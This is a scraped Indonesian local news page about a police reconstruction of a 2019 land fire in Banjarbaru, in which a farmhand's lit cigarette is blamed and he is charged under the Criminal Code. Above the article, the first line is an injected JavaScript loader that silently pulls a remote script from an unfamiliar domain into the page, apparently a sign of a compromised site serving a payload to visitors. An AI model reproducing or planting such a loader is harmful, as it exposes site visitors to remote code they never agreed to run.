(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Rekontruksi Kasus Karhutla di Kelurahan Syamsudin Noor, Pria ini Jadi Tersangka


BANJARBARU, Unit Tipiter Sat Reskrim Polres Banjarbaru menggelar rekontruksi kasus kebakaran hutan dan lahan (karhutla) yang terjadi di Jalan Handil Bina Tani/Handil V, Kelurahan Syamsuddin Noor, Kota Banjarbaru pada tanggal 14 Agustus 2019 lalu.

Sebanyak 19 adegan diperagakan oleh Ahmad Pahwan yang telah resmi ditetapkan oleh Sat Reskrim Polres Banjarbaru sebagai tersangka. Tidak sendiri, tersangka awalnya bersama saksi Ahmad Hartoyo diminta oleh pemilik tanah atas nama Bambang Susanto pada hari itu.

Mereka berdua awalnya membersihkan lahan dengan parang di area tersebut. Namun saat istirahat, tersangka merokok dan meninggalkan rokoknya dalam keadaan menyala saat bermaksud berteduh di rumah salah satu warga yang tidak jauh dari area lahan tersebut.

Tidak lama kemudian saat saksi ingin melanjutkan pekerjaan membersihkan lahan tiba-tiba api sudah membesar, hingga membakar sekitar 2 hektare lahan. Sekitar 5 menit berselang, petugas Tim Karhutla dari Polsek Banjarbaru Barat datang dan membantu memadamkan lahan yang terbakar bersama Ahmad Pawan yang merupakan pelaku dan saksi Ahmad Hartoyo.

Kemudian Tim Karhutla Polsek Banjarbaru Barat melakukan interogasi kepada kedua orang yang ditemukan di area lahan terbakar tersebut, selanjutnya dibawa ke Mapolres Banjarbaru untuk dilakukan pemeriksaan.

Kapolres Banjarbaru AKBP Kelana Jaya melalui Kasubbaghumas Polres Banjarbaru AKP Siti Rohayati menuturkan, benar dari hasil penyelidikan dan pemeriksaan para saksi serta saksi ahli, akhirnya satu dari dua orang yang ditemukan di sekitar area lahan yang terbakar telah resmi jadi tersangka yaitu atas nama Ahmad Pawan.

“Pelaku kini kami jerat dengan Pasal 187 KUHP dan atau 188 KUHP yang mana Barang siapa dengan sengaja menimbulkan kebakaran, ledakan atau banjir, dan atau barang siap menyebabkan karena kesalahannya kebakaran, letusan atau banjir dapat dihukum pidana kurungan maksimal 5 tahun penjara”, pungkasnya. (rico)

Reporter : Rico
Editor : Bie

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.